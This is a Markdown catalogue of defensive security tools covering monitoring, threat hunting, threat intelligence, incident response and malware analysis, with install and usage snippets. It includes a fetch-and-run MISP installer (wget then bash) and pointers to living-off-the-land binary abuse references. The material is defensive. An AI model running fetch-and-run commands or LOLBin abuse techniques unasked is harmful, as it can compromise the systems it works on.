### [🔙](#tool-list)[HackerOne](https://www.hackerone.com/)
HackerOne is a bug bounty management company that can be used to create and manage bug bounty programs for your business.
Bug bounty programs are a great way to outsource external vulnerability assessments, with the platform offering both private and public programs with the ability set program scopes and rules of engagement.
HackerOne also offer initial triage and management of external bug reports from researchers, with the ability to compensate researchers directly through the platform.
*Image used from https://www.hackerone.com/product/bug-bounty-platform*
Security Monitoring
====================
*Tools for collecting and analyzing security logs and other data sources to identify potential threats and anomalous activity.*
### [🔙](#tool-list)[Sysmon](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon)
Sysmon is a Windows system monitor that tracks system activity and logs it to the Windows event log.
It provides detailed information about system activity, including process creation and termination, network connections, and changes to file creation time.
Sysmon can be configured to monitor specific events or processes and can be used to alert administrators of suspicious activity on a system.
**Install:**
Download the sysmon binary from [here](https://download.sysinternals.com/files/Sysmon.zip).
**Usage:**
```bash
# Install with default settings (process images hashed with SHA1 and no network monitoring)
sysmon -accepteula -i
# Install Sysmon with a configuration file (as described below)
sysmon -accepteula -i c:\windows\config.xml
# Uninstall
sysmon -u
# Dump the current configuration
sysmon -c
```
Full event filtering information can be found [here](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-filtering-entries).
The Microsoft documentation page can be found [here](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon).
*Image used from https://nsaneforums.com/topic/281207-sysmon-5-brings-registry-modification-logging/*
### [🔙](#tool-list)[Kibana](https://www.elastic.co/kibana/)
Kibana is an open-source data visualization and exploration tool that is often used for log analysis in combination with Elasticsearch.
Kibana provides a user-friendly interface for searching, visualizing, and analyzing log data, which can be helpful for identifying patterns and trends that may indicate a security threat.
Kibana can be used to analyze a wide range of data sources, including system logs, network logs, and application logs. It can also be used to create custom dashboards and alerts to help security teams stay informed about potential threats and respond quickly to incidents.
**Install:**
You can download Kibana from [here](https://www.elastic.co/downloads/kibana).
Installation instructions can be found [here](https://www.elastic.co/guide/en/kibana/current/install.html).
**Usage: (Visualize and explore log data)**
Kibana provides a range of visualization tools that can help you identify patterns and trends in your log data. You can use these tools to create custom dashboards that display relevant metrics and alerts.
**Usage: (Threat Alerting)**
Kibana can be configured to send alerts when it detects certain patterns or anomalies in your log data. You can set up alerts to notify you of potential security threats, such as failed login attempts or network connections to known malicious IP addresses.
Nice [blog](https://phoenixnap.com/kb/kibana-tutorial) about querying and visualizing data in Kibana.
*Image used from https://www.pinterest.co.uk/pin/analysing-honeypot-data-using-kibana-and-elasticsearch--684758318328369269/*
### [🔙](#tool-list)[Logstash](https://www.elastic.co/logstash/)
Logstash is a open-source data collection engine with real-time pipelining capabilities. It is a server-side data processing pipeline that ingests data from a multitude of sources simultaneously, transforms it, and then sends it to a "stash" like Elasticsearch.
Logstash has a rich set of plugins, which allows it to connect to a variety of sources and process the data in multiple ways. It can parse and transform logs, translate data into a structured format, or send it to another tool for further processing.
With its ability to process large volumes of data quickly, Logstash is an integral part of the ELK stack (Elasticsearch, Logstash, and Kibana) and is often used to centralize, transform, and monitor log data.
**Install:**
Download logstash from [here](https://www.elastic.co/downloads/logstash).
**Usage:**
Full logstash documentation [here](https://www.elastic.co/guide/en/logstash/current/introduction.html).
Configuration examples [here](https://www.elastic.co/guide/en/logstash/current/config-examples.html).
*Image used from https://www.elastic.co/guide/en/logstash/current/logstash-modules.html*
### [🔙](#tool-list)[parsedmarc](https://github.com/domainaware/parsedmarc)
A Python module and CLI utility for parsing DMARC reports.
When used with Elasticsearch and Kibana (or Splunk), it works as a self-hosted open source alternative to commercial DMARC report processing services such as Agari Brand Protection, Dmarcian, OnDMARC, ProofPoint Email Fraud Defense, and Valimail.
Features:
- Parses draft and 1.0 standard aggregate/rua reports
- Parses forensic/failure/ruf reports
- Can parse reports from an inbox over IMAP, Microsoft Graph, or Gmail API
- Transparently handles gzip or zip compressed reports
- Consistent data structures
- Simple JSON and/or CSV output
- Optionally email the results
- Optionally send the results to Elasticsearch and/or Splunk, for use with premade dashboards
- Optionally send reports to Apache Kafka
*Image used from https://github.com/domainaware/parsedmarc*
### [🔙](#tool-list)[Phishing Catcher](https://github.com/x0rz/phishing_catcher)
As a business, phishing can cause reputational and financial damage to you and your customers. Being able to proactively identify phishing infrastructure targeting your business helps to reduce the risk of these damages.
Phish catcher allows you to catch possible phishing domains in near real time by looking for suspicious TLS certificate issuances reported to the Certificate Transparency Log (CTL) via the CertStream API.
"Suspicious" issuances are those whose domain name scores beyond a certain threshold based on a configuration file.
*Image used from https://github.com/x0rz/phishing_catcher*
### [🔙](#tool-list)[maltrail](https://github.com/stamparm/maltrail)
Maltrail is a malicious traffic detection system, utilizing publicly available lists containing malicious and/or generally suspicious trails, along with static trails compiled from various AV reports and custom user defined lists. A trail can be anything from domain name, URL, IP address or HTTP User-Agent header value.
A demo page for this tool can be found [here](https://maltraildemo.github.io/).
**Install:**
```bash
sudo apt-get install git python3 python3-dev python3-pip python-is-python3 libpcap-dev build-essential procps schedtool
sudo pip3 install pcapy-ng
git clone --depth 1 https://github.com/stamparm/maltrail.git
cd maltrail
```
**Usage:**
```bash
sudo python3 sensor.py
```
*Image used from https://github.com/stamparm/maltrail*
### [🔙](#tool-list)[AutorunsToWinEventLog](https://github.com/palantir/windows-event-forwarding/tree/master/AutorunsToWinEventLog)
Autoruns is a tool developed by Sysinternals that allows you to view all of the locations in Windows where applications can insert themselves to launch at boot or when certain applications are opened. Malware often takes advantages of these locations to ensure that it runs whenever your computer boots up.
Autoruns conveniently includes a non-interactive command line utility. This code generates a CSV of Autoruns entries, converts them to JSON, and finally inserts them into a custom Windows Event Log. By doing this, we can take advantage of our existing WEF infrastructure to get these entries into our SIEM and start looking for signs of malicious persistence on endpoints and servers.
**Install:**
Download [AutorunsToWinEventLog](https://github.com/palantir/windows-event-forwarding/tree/master/AutorunsToWinEventLog).
**Usage:**
From an Admin Powershell console run `.\Install.ps1`
This script does the following:
- Creates the directory structure at c:\Program Files\AutorunsToWinEventLog
- Copies over AutorunsToWinEventLog.ps1 to that directory
- Downloads Autorunsc64.exe from https://live.sysinternals.com
- Sets up a scheduled task to run the script daily @ 11am
*Image used from https://www.detectionlab.network/usage/autorunstowineventlog/*
### [🔙](#tool-list)[procfilter](https://github.com/godaddy/procfilter)
ProcFilter is a process filtering system for Windows with built-in [YARA](https://github.com/virustotal/yara) integration. YARA rules can be instrumented with custom meta tags that tailor its response to rule matches. It runs as a Windows service and is integrated with [Microsoft's ETW API](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968803%28v=vs.85%29.aspx), making results viewable in the Windows Event Log. Installation, activation, and removal can be done dynamically and does not require a reboot.
ProcFilter's intended use is for malware analysts to be able to create YARA signatures that protect their Windows environments against a specific threat. It does not include a large signature set. Think lightweight, precise, and targeted rather than broad or all-encompassing. ProcFilter is also intended for use in controlled analysis environments where custom plugins can perform artifact-specific actions.
**Install:**
[ProcFilter x86/x64 Release/Debug Installers](https://github.com/godaddy/procfilter/releases)
*Note: Unpatched Windows 7 systems require hotfix 3033929 to load the driver component. More information can be found here.*
Nice configuration template file [here](https://github.com/godaddy/procfilter/blob/master/files/procfilter.ini).
**Usage:**
```
procfilter -start
```
Usage screenshots can be found [here](https://github.com/godaddy/procfilter#screenshots).
*Image used from https://github.com/godaddy/procfilter*
### [🔙](#tool-list)[velociraptor](https://github.com/Velocidex/velociraptor)
Velociraptor is a unique, advanced open-source endpoint monitoring, digital forensic and cyber response platform.
It was developed by Digital Forensic and Incident Response (DFIR) professionals who needed a powerful and efficient way to hunt for specific artifacts and monitor activities across fleets of endpoints. Velociraptor provides you with the ability to more effectively respond to a wide range of digital forensic and cyber incident response investigations and data breaches:
Features:
- Reconstruct attacker activities through digital forensic analysis
- Hunt for evidence of sophisticated adversaries
- Investigate malware outbreaks and other suspicious network activities
- Monitory continuously for suspicious user activities, such as files copied to USB devices
- Discover whether disclosure of confidential information occurred outside the network
- Gather endpoint data over time for use in threat hunting and future investigations
**Install:**
Download the binary from the [release page](https://github.com/Velocidex/velociraptor/releases).
**Usage:**
```
velociraptor gui
```
Full usage information can be found [here](https://docs.velociraptor.app/).
*Image used from https://docs.velociraptor.app*
### [🔙](#tool-list)[SysmonSearch](https://github.com/JPCERTCC/SysmonSearch)
SysmonSearch makes event log analysis more effective and less time consuming, by aggregating event logs generated by Microsoft's Sysmon.
SysmonSearch uses Elasticserach and Kibana (and Kibana plugin).
* **Elasticserach**
Elasticsearch collects/stores Sysmon's event log.
* **Kibana**
Kibana provides user interface for your Sysmon's event log analysis. The following functions are implemented as Kibana plugin.
* Visualizes Function
This function visualizes Sysmon's event logs to illustrate correlation of processes and networks.
* Statistical Function
This function collects the statistics of each device or Sysmon's event ID.
* Monitor Function
This function monitor incoming logs based on the preconfigured rules, and trigers alert.
* **StixIoC server**
You can add search/monitor condition by uploading STIX/IOC file. From StixIoC server Web UI, you can upload STIXv1, STIXv2 and OpenIOC format files.
**Install: (Linux)**
```bash
git clone https://github.com/JPCERTCC/SysmonSearch.git
```
[Modify Elasticsearch configuration](https://github.com/JPCERTCC/SysmonSearch/wiki/Install#elasticsearch-server-setup)
[Modify Kibana configuration](https://github.com/JPCERTCC/SysmonSearch/wiki/Install#kibana-server-setup)
Full installation instructions can be found [here](https://github.com/JPCERTCC/SysmonSearch/wiki/Install).
**Usage:**
*Once Elasticsearch and Kibana configurations have been modified, restart the services and navigate to your Kibana interface. The SysmonSearch ribbon should be visible.*
[Visualize the Sysmon log to investigate suspicious behavior](https://blogs.jpcert.or.jp/ja/2018/09/SysmonSearch.html)
*Image used from https://blogs.jpcert.or.jp/ja/2018/09/SysmonSearch.html*
Threat Tools and Techniques
====================
*Tools for identifying and implementing detections against TTPs used by threat actors.*
### [🔙](#tool-list)[lolbas-project.github.io](https://lolbas-project.github.io/)
Living off the land binaries (LOLBins) are legitimate Windows executables that can be used by threat actors to carry out malicious activities without raising suspicion.
Using LOLBins allows attackers to blend in with normal system activity and evade detection, making them a popular choice for malicious actors.
The LOLBAS project is a MITRE mapped list of LOLBINS with commands, usage and detection information for defenders.
Visit [https://lolbas-project.github.io/](https://lolbas-project.github.io/).
**Usage:**
Use the information for detection opportunities to harden your infrastructure against LOLBIN usage.
Here are some project links to get started:
- [Bitsadmin.exe](https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/)
- [Certutil.exe](https://lolbas-project.github.io/lolbas/Binaries/Certutil/)
- [Cscript.exe](https://lolbas-project.github.io/lolbas/Binaries/Cscript/)
*Image used from https://lolbas-project.github.io/*
### [🔙](#tool-list)[gtfobins.github.io](https://gtfobins.github.io/)
GTFOBins (short for "Get The F* Out Binaries") is a collection of Unix binaries that can be used to escalate privileges, bypass restrictions, or execute arbitrary commands on a system.
They can be used by threat actors to gain unauthorized access to systems and carry out malicious activities.
The GTFOBins project is a list of Unix binaries with command and usage information for attackers. This information can be used to implement unix detections.
Visit [https://gtfobins.github.io/](https://gtfobins.github.io/).
**Usage:**
Here are some project links to get started:
- [base64](https://gtfobins.github.io/gtfobins/base64/)
- [curl](https://gtfobins.github.io/gtfobins/curl/)
- [nano](https://gtfobins.github.io/gtfobins/nano/)
*Image used from https://gtfobins.github.io/*
### [🔙](#tool-list)[filesec.io](https://filesec.io/)
Filesec is a list of file extensions that can be used by attackers for phishing, execution, macros etc.
This is a nice resource to understand the malicious use cases of common file extentions and ways that you can defend against them.
Each file extension page contains a description, related operating system and recommendations.
Visit [https://filesec.io/](https://filesec.io/).
**Usage:**
Here are some project links to get started:
- [.Docm](https://filesec.io/docm)
- [.Iso](https://filesec.io/iso)
- [.Ppam](https://filesec.io/ppam)
*Image used from https://filesec.io/*
### [🔙](#tool-list)[KQL Search](https://www.kqlsearch.com/)
KQL stands for "Kusto Query Language", and it is a query language used to search and filter data in Azure Monitor logs. It is similar to SQL, but is more optimized for log analytics and time-series data.
KQL query language is particularly useful for blue teamers because it allows you to quickly and easily search through large volumes of log data to identify security events and anomalies that may indicate a threat.
KQL Search is a web app created by [@ugurkocde](https://twitter.com/ugurkocde) that aggregates KQL queries that are shared on GitHub.
You can visit the site at [https://www.kqlsearch.com/](https://www.kqlsearch.com/).
More information about Kusto Query Language (KQL) can be found [here](https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/).
*Image used from https://www.kqlsearch.com/*
### [🔙](#tool-list)[Unprotect Project](https://unprotect.it/about/)
Malware authors spend a great deal of time and effort to develop complex code to perform malicious actions against a target system. It is crucial for malware to remain undetected and avoid sandbox analysis, antiviruses or malware analysts.
With this kind of technics, malware are able to pass under the radar and stay undetected on a system. The goal of this free database is to centralize the information about malware evasion techniques.
The project aims to provide Malware Analysts and Defenders with actionable insights and detection capabilities to shorten their response times.
The project can be found at [https://unprotect.it/](https://unprotect.it/).
The project has an API - Docs [here](https://unprotect.it/api/).
*Image used from https://unprotect.it/map/*
### [🔙](#tool-list)[chainsaw](https://github.com/WithSecureLabs/chainsaw)
Chainsaw provides a powerful ‘first-response’ capability to quickly identify threats within Windows forensic artefacts such as Event Logs and MFTs. Chainsaw offers a generic and fast method of searching through event logs for keywords, and by identifying threats using built-in support for Sigma detection rules, and via custom Chainsaw detection rules.
Features:
- Hunt for threats using Sigma detection rules and custom Chainsaw detection rules
- Search and extract forensic artefacts by string matching, and regex patterns
- Lightning fast, written in rust, wrapping the EVTX parser library by @OBenamram
- Clean and lightweight execution and output formats without unnecessary bloat
- Document tagging (detection logic matching) provided by the TAU Engine Library
- Output results in a variety of formats, such as ASCII table format, CSV format, and JSON format
- Can be run on MacOS, Linux and Windows
**Install:**
```bash
git clone https://github.com/countercept/chainsaw.git
cargo build --release
git clone https://github.com/SigmaHQ/sigma
git clone https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES.git
```
**Usage:**
```bash
./chainsaw hunt EVTX-ATTACK-SAMPLES/ -s sigma/ --mapping mappings/sigma-event-logs-all.yml
```
*Image used from https://twitter.com/FranticTyping/status/1433386064429916162/*
### [🔙](#tool-list)[freq](https://github.com/MarkBaggett/freq)
Adversaries attempt to bypass signature based/pattern matching/blacklist techniques by introducing random: filenames, service names, workstation names, domains, hostnames, SSL cert subjects and issuer subjects, etc.
Freq is a python API designed by Mark Baggett to handle mass entropy testing. It was designed to be used in conjunction with a SIEM solutions but can work with anything that can submit a web request.
The tool uses frequency tables that map how likely one character will follow another
**Install:**
```bash
git clone https://github.com/MarkBaggett/freq
cd freq
```
**Usage:**
```bash
# Running freq_server.py on port 10004 and using a frequency table of /opt/freq/dns.freq
/usr/bin/python /opt/freq/freq_server.py 10004 /opt/freq/dns.freq
```
### [🔙](#tool-list)[yarGen](https://github.com/Neo23x0/yarGen)
yarGen is a generator for YARA rules
The main principle is the creation of yara rules from strings found in malware files while removing all strings that also appear in goodware files. Therefore yarGen includes a big goodware strings and opcode database as ZIP archives that have to be extracted before the first use.
The rule generation process also tries to identify similarities between the files that get analyzed and then combines the strings to so called super rules. The super rule generation does not remove the simple rule for the files that have been combined in a single super rule. This means that there is some redundancy when super rules are created. You can suppress a simple rule for a file that was already covered by super rule by using --nosimple.
**Install:**
Download the latest [release](https://github.com/Neo23x0/yarGen/releases).
```bash
pip install -r requirements.txt
python yarGen.py --update
```
**Usage:**
```bash
# Create a new strings and opcodes database from an Office 2013 program directory
yarGen.py -c --opcodes -i office -g /opt/packs/office2013
# Update the once created databases with the "-u" parameter
yarGen.py -u --opcodes -i office -g /opt/packs/office365
```
Usage examples can be found [here](https://github.com/Neo23x0/yarGen#examples).
*Image used from https://github.com/Neo23x0/yarGen*
### [🔙](#tool-list)[EmailAnalyzer](https://github.com/keraattin/EmailAnalyzer)
With EmailAnalyzer you can able to analyze your suspicious emails. You can extract headers, links and hashes from the .eml file
**Install:**
```bash
git clone https://github.com/keraattin/EmailAnalyzer
cd EmailAnalyzer
```
**Usage:**
```bash
# View headers in eml file
python3 email-analyzer.py -f <eml file> --headers
# Get hashes
python3 email-analyzer.py -f <eml file> --digests
# Get links
python3 email-analyzer.py -f <eml file> --links
# Get attachments
python3 email-analyzer.py -f <eml file> --attachments
```
*Text used from https://github.com/keraattin/EmailAnalyzer*
### [🔙](#tool-list)[VCG](https://github.com/nccgroup/VCG)
VCG is an automated code security review tool that handles C/C++, Java, C#, VB and PL/SQL. It has a few features that should hopefully make it useful to anyone conducting code security reviews, particularly where time is at a premium:
- In addition to performing some more complex checks it also has a config file for each language that basically allows you to add any bad functions (or other text) that you want to search for
- It attempts to find a range of around 20 phrases within comments that can indicate broken code (“ToDo”, “FixMe”, “Kludge”, etc.)
- It provides a nice pie chart (for the entire codebase and for individual files) showing relative proportions of code, whitespace, comments, ‘ToDo’ style comments and bad code
**Install:**
You can install the pre-compiled binary here.
Open the project .sln, choose "Release", and build.
**Usage:**
```
STARTUP OPTIONS:
(Set desired starting point for GUI. If using console mode these options will set target(s) to be scanned.)
-t, --target <Filename|DirectoryName>: Set target file or directory. Use this option either to load target immediately into GUI or to provide the target for console mode.
-l, --language <CPP|PLSQL|JAVA|CS|VB|PHP|COBOL>: Set target language (Default is C/C++).
-e, --extensions <ext1|ext2|ext3>: Set file extensions to be analysed (See ReadMe or Options screen for language-specific defaults).
-i, --import <Filename>: Import XML/CSV results to GUI.
OUTPUT OPTIONS:
(Automagically export results to a file in the specified format. Use XML or CSV output if you wish to reload results into the GUI later on.)
-x, --export <Filename>: Automatically export results to XML file.
-f, --csv-export <Filename>: Automatically export results to CSV file.
-r, --results <Filename>: Automatically export results to flat text file.
CONSOLE OPTIONS:
-c, --console: Run application in console only (hide GUI).
-v, --verbose: Set console output to verbose mode.
-h, --help: Show help.
```
### [🔙](#tool-list)[CyberChef](https://gchq.github.io/CyberChef/)
CyberChef is a free, web-based tool that allows users to manipulate and transform data using a wide range of techniques.
With CyberChef, you can perform a wide range of operations on data, such as converting between different data formats (e.g., hexadecimal, base64, ASCII), encoding and decoding data, searching and replacing text etc.
The tool also includes a recipe system, which allows you to save and share data manipulation workflows with others.
The tool can be used from [here](https://gchq.github.io/CyberChef/).
*Image used from https://gchq.github.io/CyberChef/*
Threat Intelligence
====================
*Tools for gathering and analyzing intelligence about current and emerging threats, and for generating alerts about potential threats.*
### [🔙](#tool-list)[Maltego](https://www.maltego.com/solutions/cyber-threat-intelligence/)
Maltego is a commercial threat intelligence and forensics tool developed by Paterva. It is used by security professionals to gather and analyze information about domains, IP addresses, networks, and individuals in order to identify relationships and connections that might not be immediately apparent.
Maltego uses a visual interface to represent data as entities, which can be linked together to form a network of relationships. It includes a range of transforms, which are scripts that can be used to gather data from various sources, such as social media, DNS records, and WHOIS data.
Maltego is often used in conjunction with other security tools, such as SIEMs and vulnerability scanners, as part of a comprehensive threat intelligence and incident response strategy.
You can schedule a demo [here](https://www.maltego.com/get-a-demo/).
[Maltego handbook Handbook for Cyber Threat Intelligence](https://static.maltego.com/cdn/Handbooks/Maltego-Handbook-for-Cyber-Threat-Intelligence.pdf)
*Image used from https://www.maltego.com/reduce-your-cyber-security-risk-with-maltego/*
### [🔙](#tool-list)[MISP](https://www.misp-project.org/)
MISP (short for Malware Information Sharing Platform) is an open-source platform for sharing, storing, and correlating Indicators of Compromise (IOCs) of targeted attacks, threats, and malicious activity.
MISP includes a range of features, such as real-time sharing of IOCs, support for multiple formats, and the ability to import and export data to and from other tools.
It also provides a RESTful API and various data models to facilitate the integration of MISP with other security systems. In addition to its use as a threat intelligence platform, MISP is also used for incident response, forensic analysis, and malware research.
**Install:**
```bash
# Kali
wget -O /tmp/misp-kali.sh https://raw.githubusercontent.com/MISP/MISP/2.4/INSTALL/INSTALL.sh && bash /tmp/misp-kali.sh
# Ubuntu 20.04.2.0-server
wget -O /tmp/INSTALL.sh https://raw.githubusercontent.com/MISP/MISP/2.4/INSTALL/INSTALL.sh
bash /tmp/INSTALL.sh
```
Full installation instructions can be found [here](https://misp.github.io/MISP/).
**Usage:**
MISP documentation can be found [here](https://www.misp-project.org/documentation/).
[MISP user guide](https://github.com/MISP/misp-book)
[MISP Training Cheat sheet](https://www.misp-project.org/misp-training/cheatsheet.pdf)
*Image used from http://www.concordia-h2020.eu/blog-post/integration-of-misp-into-flowmon-ads/*
### [🔙](#tool-list)[ThreatConnect](https://threatconnect.com/threat-intelligence-platform/)
ThreatConnect is a threat intelligence platform that helps organizations aggregate, analyze, and act on threat data. It is designed to provide a single, unified view of an organization's threat landscape and enable users to collaborate and share information about threats.
The platform includes a range of features for collecting, analyzing, and disseminating threat intelligence, such as a customizable dashboard, integration with third-party data sources, and the ability to create custom reports and alerts.
It is intended to help organizations improve their security posture by providing them with the information they need to identify, prioritize, and respond to potential threats.
You can request a demo from [here](https://threatconnect.com/request-a-demo/).
[ThreatConnect for Threat Intel Analysts - PDF](https://threatconnect.com/wp-content/uploads/2022/12/Intel-Analysts-Datasheet.pdf)
*Image used from https://threatconnect.com/threat-intelligence-platform/*
### [🔙](#tool-list)[Adversary Emulation Library](https://github.com/center-for-threat-informed-defense/adversary_emulation_library)
This is a library of adversary emulation plans to enable you to evaluate your defensive capabilities against real-world threats.
Emulation plans are an essential component for organizations looking to prioritize defenses against behavior from specific threats.
The TTPs outlined in this resource can be used to design specific threat emulation activities to test your organisations defenses against specific threat actors.
Visit the resource [here](https://github.com/center-for-threat-informed-defense/adversary_emulation_library).
**Example (sandworm)**
- [Sandworm Emulated Software Source Code](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/sandworm/Resources)
- [Sandworm Detection Scenario Walkthrough](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/sandworm/Emulation_Plan/Scenario_1)
- [Sandworm Intelligence Summary](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/master/sandworm/Intelligence_Summary/Intelligence_Summary.md)
*Image used from https://github.com/center-for-threat-informed-defense/adversary_emulation_library*
Incident Response Planning
====================
*Tools for creating and maintaining an incident response plan, including templates and best practices for responding to different types of incidents.*
### [🔙](#tool-list)[NIST](https://www.nist.gov/cyberframework)
The NIST Cybersecurity Framework (CSF) is a framework developed by the National Institute of Standards and Technology (NIST) to help organizations manage cybersecurity risks. It provides a set of guidelines, best practices, and standards for implementing and maintaining a robust cybersecurity program.
The framework is organized around five core functions: Identify, Protect, Detect, Respond, and Recover. These functions provide a structure for understanding and addressing the various components of cybersecurity risk.
The CSF is designed to be flexible and adaptable, and it can be customized to fit the specific needs and goals of an organization. It is intended to be used as a tool for improving an organization's cybersecurity posture and for helping organizations better understand and manage their cybersecurity risks.
**Useful Links:**
[NIST Quickstart Guide](https://csrc.nist.gov/Projects/cybersecurity-framework/nist-cybersecurity-framework-a-quick-start-guide)
[Framework for Improving Critical Infrastructure Cybersecurity](https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf)
[Data Breach Response: A Guide for Business](https://www.ftc.gov/business-guidance/resources/data-breach-response-guide-business)
[NIST Events and Presentations](https://www.nist.gov/cyberframework/events-and-presentations)
[Twitter - @NISTcyber](https://www.twitter.com/NISTcyber)
*Image used from https://www.dell.com/en-us/blog/strengthen-security-of-your-data-center-with-the-nist-cybersecurity-framework/*
### [🔙](#tool-list)Incident Response Plan
An incident response plan is a set of procedures that a company puts in place to manage and mitigate the impact of a security incident, such as a data breach or a cyber attack.
The theory behind an incident response plan is that it helps a company to be prepared for and respond effectively to a security incident, which can minimize the damage and reduce the chances of it happening again in the future.
There are several reasons why businesses need an incident response plan:
1. **To minimize the impact of a security incident:** An incident response plan helps a company to identify and address the source of a security incident as quickly as possible, which can help to minimize the damage and reduce the chances of it spreading.
2. **To meet regulatory requirements:** Many industries have regulations that require companies to have an incident response plan in place. For example, the Payment Card Industry Data Security Standard (PCI DSS) requires merchants and other organizations that accept credit cards to have an incident response plan.
3. **To protect reputation:** A security incident can damage a company's reputation, which can lead to a loss of customers and revenue. An incident response plan can help a company to manage the situation and minimize the damage to its reputation.
4. **To reduce the cost of a security incident:** The cost of a security incident can be significant, including the cost of remediation, legal fees, and lost business. An incident response plan can help a company to minimize these costs by providing a roadmap for responding to the incident.
**Useful Links:**
[National Cyber Security Centre - Incident Response overview](https://www.ncsc.gov.uk/collection/incident-management/incident-response)
[SANS - Security Policy Templates](https://www.sans.org/information-security-policy/)
[SANS - Incident Handler's Handbook](https://www.sans.org/white-papers/33901/)
[FRSecure - Incident Response Plan Template](https://frsecure.com/incident-response-plan-template/)
[Cybersecurity and Infrastructure Security Agency - CYBER INCIDENT RESPONSE](https://www.cisa.gov/cyber-incident-response)
[FBI - Incident Response Policy](https://www.fbi.gov/file-repository/incident-response-policy.pdf/view)
*Image used from https://www.ncsc.gov.uk/collection/incident-management/incident-response*
### [🔙](#tool-list)Ransomware Response Plan
Ransomware is a type of malicious software that encrypts a victim's files. The attackers then demand a ransom from the victim to restore access to the files; hence the name ransomware.
The theory behind a ransomware response plan is that it helps a company to be prepared for and respond effectively to a ransomware attack, which can minimize the impact of the attack and reduce the chances of it happening again in the future.
There are several reasons why businesses need a ransomware response plan:
1. **To minimize the impact of a ransomware attack:** A ransomware response plan helps a company to identify and address a ransomware attack as quickly as possible, which can help to minimize the damage and reduce the chances of the ransomware spreading to other systems.
2. **To protect against data loss:** Ransomware attacks can result in the loss of important data, which can be costly and disruptive for a business. A ransomware response plan can help a company to recover from an attack and avoid data loss.
3. **To protect reputation:** A ransomware attack can damage a company's reputation, which can lead to a loss of customers and revenue. A ransomware response plan can help a company to manage the situation and minimize the damage to its reputation.
4. **To reduce the cost of a ransomware attack:** The cost of a ransomware attack can be significant, including the cost of remediation, legal fees, and lost business. A ransomware response plan can help a company to minimize these costs by providing a roadmap for responding to the attack.
**Useful Links:**
[National Cyber Security Centre - Mitigating malware and ransomware attacks](https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks)
[NIST - Ransomware Protection and Response](https://csrc.nist.gov/Projects/ransomware-protection-and-response)
[Cybersecurity and Infrastructure Security Agency - Ransomware Guide](https://www.cisa.gov/stopransomware/ransomware-guide)
[Microsoft Security - Ransomware response](https://www.microsoft.com/en-us/security/blog/2019/12/16/ransomware-response-to-pay-or-not-to-pay/)
[Blog - Creating a Ransomware Response Plan](https://www.msp360.com/resources/blog/designing-a-ransomware-response-plan/)
*Image used from https://csrc.nist.gov/Projects/ransomware-protection-and-response*
### [🔙](#tool-list)[Incident Response Reference Guide](https://info.microsoft.com/rs/157-GQE-382/images/EN-US-CNTNT-emergency-doc-digital.pdf)
This is a “first aid” style of guidance for cybersecurity to help you prepare for a crisis and limit the potential damage in a crisis.
This includes tips and guidance for technical, operational, legal, and communications aspects of a major cybersecurity incident.
**Key Takeaways**
- **Preparation pays off** – Preparing for a major incident can reduce damage to the organization, as well as reduce incident cost and management difficulty.
- **Operationalize your incident management processes** – Managing major cybersecurity incidents must be part of standard business risk management processes.
- **Coordination is critical** – Effective cybersecurity incident management requires collaboration and coordination of technical, operations, communications, legal, and governance functions.
- **Stay calm and do no harm in an incident** – Overreacting can be as damaging as underreacting.
You can read the paper [here](https://info.microsoft.com/rs/157-GQE-382/images/EN-US-CNTNT-emergency-doc-digital.pdf).
*Image used from https://info.microsoft.com/rs/157-GQE-382/images/EN-US-CNTNT-emergency-doc-digital.pdf*
### [🔙](#tool-list)[Awesome Incident Response](https://github.com/meirwah/awesome-incident-response)
A curated list of tools and resources for security incident response, aimed to help security analysts and [DFIR](https://www.acronymfinder.com/Digital-Forensics%2c-Incident-Response-%28DFIR%29.html) teams.
This is a great resource full of links for different aspects of incident response, including:
- Adversary Emulation
- All-In-One Tools
- Books
- Communities
- Disk Image Creation Tools
Visit the resource [here](https://github.com/meirwah/awesome-incident-response).
*Image used from https://github.com/meirwah/awesome-incident-response*
Malware Detection and Analysis
====================
*Tools for detecting and analyzing malware, including antivirus software and forensic analysis tools.*
### [🔙](#tool-list)[VirusTotal](https://www.virustotal.com/gui/home/search)
VirusTotal is a website and cloud-based tool that analyzes and scans files, URLs, and software for viruses, worms, and other types of malware.
When a file, URL, or software is submitted to VirusTotal, the tool uses various antivirus engines and other tools to scan and analyze it for malware. It then provides a report with the results of the analysis, which can help security professionals and blue teams identify and respond to potential threats.
VirusTotal can also be used to check the reputation of a file or URL, and to monitor for malicious activity on a network.
Visit [https://www.virustotal.com/gui/home/search](https://www.virustotal.com/gui/home/search)
**Usage:**
```bash
# Recently created documents with macros embedded, detected at least by 5 AVs
(type:doc OR type: docx) tag:macros p:5+ generated:30d+
# Excel files bundled with powershell scripts and uploaded to VT for the last 10
days
(type:xls OR type:xlsx) tag:powershell fs:10d+
# Follina-like exploit payloads
entity:file magic:"HTML document text" tag:powershell have:itw_url
# URLs related to specified parent domain/subdomain with a specific header in
the response
entity:url header_value:"Apache/2.4.41 (Ubuntu)" parent_domain:domain.org
# Suspicious URLs with a specific HTML title
entity:url ( title:"XY Company" or title:"X.Y. Company" or title:"XYCompany" ) p:5+
```
Full documentation can be found [here](https://support.virustotal.com/hc/en-us/categories/360000162878-Documentation).
[VT INTELLIGENCE CHEAT SHEET](https://storage.googleapis.com/vtpublic/reports/VTI%20Cheatsheet.pdf)
*Image used from https://www.virustotal.com/gui/home/search*
### [🔙](#tool-list)[IDA](https://hex-rays.com/ida-free/)
IDA (Interactive Disassembler) is a powerful tool used to reverse engineer and analyze compiled and executable code.
It can be used to examine the inner workings of software, including malware, and to understand how it functions. IDA allows users to disassemble code, decompile it into a higher-level programming language, and view and edit the resulting source code. This can be useful for identifying vulnerabilities, analyzing malware, and understanding how a program works.
IDA can also be used to generate graphs and charts that visualize the structure and flow of code, which can make it easier to understand and analyze.
**Install:**
Download IDA from [here](https://hex-rays.com/ida-free/#download).
**Usage:**
[IDA Practical Cheatsheet](https://github.com/AdamTaguirov/IDA-practical-cheatsheet)
